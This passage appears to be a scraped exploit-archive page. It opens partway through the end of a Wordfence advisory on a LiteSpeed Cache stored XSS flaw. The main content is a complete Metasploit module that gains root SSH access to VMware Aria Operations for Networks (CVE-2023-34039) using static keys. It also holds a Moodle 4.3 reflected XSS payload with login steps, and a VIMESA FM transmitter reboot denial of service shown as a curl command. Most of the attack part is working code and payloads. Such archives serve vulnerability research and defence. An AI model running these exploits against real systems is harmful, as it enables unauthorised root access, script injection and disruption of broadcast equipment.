/>August 14, 2023 – Wordfence Threat Intelligence team discovers the stored XSS vulnerability in LiteSpeed Cache.<br /><br />August 14, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.<br /><br />August 14, 2023 – The vendor confirms the inbox for handling the discussion.<br /><br />August 14, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.<br /><br />August 16, 2023 – The vendor made the patch and sent us the GitHub commit.<br /><br />October 10, 2023 – The fully patched version, 5.7, is released.<br /><br />Conclusion<br /><br />In this blog post, we have detailed a stored XSS vulnerability within the LiteSpeed Cache plugin affecting versions 5.6 and earlier. This vulnerability allows authenticated threat actors with contributor-level permissions or higher to inject malicious web scripts into pages that execute when a user accesses an affected page. The vulnerability has been fully addressed in version 5.7 of the plugin.<br /><br />We encourage WordPress users to verify that their sites are updated to the latest patched version of LiteSpeed Cache.<br /><br />All Wordfence users, including those running Wordfence Premium , Wordfence Care , and Wordfence Response , as well as sites still running the free version of Wordfence, are fully protected against this vulnerability.<br /><br />If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard .<br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'net/ssh'<br />require 'net/ssh/command_stream'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> include Msf::Auxiliary::Report<br /> include Msf::Exploit::Remote::SSH<br /><br /> Rank = ExcellentRanking<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> {<br /> 'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',<br /> 'Description' => %q{<br /> VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.0<br /> do not randomize the SSH keys on virtual machine initialization. Since the key is easily<br /> retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.<br /> },<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],<br /> [ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],<br /> [ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],<br /> [ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],<br /> [ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],<br /> [ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],<br /> [ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],<br /> [ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],<br /> [ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],<br /> [ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],<br /> [ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],<br /> [ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],<br /> [ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],<br /> [ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],<br /> [ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],<br /> [ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],<br /> [ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],<br /> [ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],<br /> [ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],<br /> [ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],<br /> [ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],<br /> [ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],<br /> [<br /> 'All', {} # built later<br /> ],<br /> ],<br /> 'Payload' => {<br /> 'Compat' => {<br /> 'PayloadType' => 'cmd_interact',<br /> 'ConnectionType' => 'find'<br /> }<br /> },<br /> 'Author' => [<br /> 'h00die', # MSF module<br /> 'SinSinology', # PoC<br /> 'Harsh Jaiswal (@rootxharsh)', # Discovery<br /> 'Rahul Maini (@iamnoooob)' # Discovery<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2023-34039'],<br /> ['URL', 'https://github.com/sinsinology/CVE-2023-34039'],<br /> ['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],<br /> ['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],<br /> ],<br /> 'DisclosureDate' => '2023-08-29',<br /> 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },<br /> 'DefaultTarget' => 22,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> # Since we don't include Tcp, we have to register this manually<br /> Opt::RHOST(),<br /> Opt::RPORT(22)<br /> ], self.class<br /> )<br /><br /> register_advanced_options(<br /> [<br /> OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),<br /> OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),<br /> OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])<br /> ]<br /> )<br /> end<br /><br /> # helper methods that normally come from Tcp<br /> def rhost<br /> datastore['RHOST']<br /> end<br /><br /> def rport<br /> datastore['RPORT']<br /> end<br /><br /> def do_login(user, key_data)<br /> opt_hash = ssh_client_defaults.merge({<br /> auth_methods: ['publickey'],<br /> port: rport,<br /> key_data: [ key_data ]<br /> })<br /> opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']<br /> begin<br /> ssh_socket = nil<br /> ::Timeout.timeout(datastore['SSH_TIMEOUT']) do<br /> ssh_socket = Net::SSH.start(rhost, user, opt_hash)<br /> end<br /> rescue Rex::ConnectionError<br /> print_error "#{rhost}:#{rport} SSH - Unable to connect"<br /> return nil<br /> rescue Net::SSH::Disconnect, ::EOFError<br /> print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"<br /> return nil<br /> rescue ::Timeout::Error<br /> print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"<br /> return nil<br /> rescue Net::SSH::AuthenticationFailed<br /> print_error "#{rhost}:#{rport} SSH - Failed authentication"<br /> return nil<br /> rescue Net::SSH::Exception => e<br /> print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"<br /> return nil<br /> end<br /><br /> if ssh_socket<br /> # Create a new session from the socket, then close it.<br /> conn = Net::SSH::CommandStream.new(ssh_socket)<br /> ssh_socket = nil<br /><br /> return conn<br /> end<br /> nil<br /> end<br /><br /> def exploit<br /> if target.name == 'All'<br /> keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }<br /> else<br /> keys = [target.opts['key']]<br /> end<br /><br /> keys.each do |key|<br /> vprint_status("Attempting key: #{key}")<br /> key_data = File.read(key, mode: 'rb')<br /> conn = do_login('support', key_data)<br /> next unless conn<br /><br /> print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"<br /> handler(conn.lsock)<br /> break if datastore['STOP_ON_SUCCESS']<br /> end<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: Moodle 4.3 Reflected XSS <br /># Date: 21/10/2023<br /># Exploit Author: tmrswrr<br /># Vendor Homepage: https://moodle.org/<br /># Software Demo: https://school.moodledemo.net/<br /># Version: 4.3<br /># Tested on: Linux <br /><br /><br />Vulnerability Details<br />======================<br /><br />Steps :<br /><br />1. Log in to the application with the given credentials > USER: teacher PASS: moodle<br />2. Go to this page https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=<br />3. Write this payload in the searchvalue field : "onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"qq9r3<br />4. When click this url "https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22qq9r3"<br />5. You will be see alert button<br /><br /></code></pre>
<pre><code><br />VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) Remote Denial Of Service<br /><br /><br />Vendor: Video Medios, S.A. (VIMESA)<br />Product web page: https://www.vimesa.es<br />Affected version: img:v9.7.1 Html:v2.4 RS485:v2.5<br /><br />Summary: The transmitter Blue Plus is designed with all<br />the latest technologies, such as high efficiency using<br />the latest generation LDMOS transistor and high efficiency<br />power supplies. We used a modern interface and performance<br />using a color display with touch screen, with easy management<br />software and easy to use. The transmitter is equipped with<br />all audio input including Audio IP for a complete audio<br />interface. The VHF/FM transmitter 30-1000 is intended<br />for the transmission of frequency modulated broadcasts<br />in mono or stereo. It work with broadband characteristics<br />in the VHF frequency range from 87.5-108 MHz and can be<br />operated with any frequency in this range withoug alignment.<br />The transmitter output power is variable between 10 and 110%<br />of the nominal Power. It is available with different remote<br />control ports. It can store up to six broadcast programs<br />including program specific parameters such as frequency,<br />RF output power, modulation type, RDS, AF level and deviation<br />limiting. The transmitter is equipped with a LAN interface<br />that permits the complete remote control of the transmitter<br />operation via SNMP or Web Server.<br /><br />Desc: The device is suffering from a Denial of Service (DoS)<br />vulnerability. An unauthenticated attacker can issue an <br />unauthorized HTTP GET request to the unprotected endpoint<br />'doreboot' and restart the transmitter operations.<br /><br />Tested on: lighttpd/1.4.32<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5798<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5798.php<br /><br /><br />22.07.2023<br /><br />--<br /><br /><br />$ curl -v "http://192.168.3.11:5007/doreboot"<br />* Trying 192.168.3.11:5007...<br />* Connected to 192.168.3.11 (192.168.3.11) port 5007 (#0)<br />> GET /doreboot HTTP/1.1<br />> Host: 192.168.3.11:5007<br />> User-Agent: curl/8.0.1<br />> Accept: */*<br />><br />* Recv failure: Connection was reset<br />* Closing connection 0<br />curl: (56) Recv failure: Connection was reset<br /></code></pre>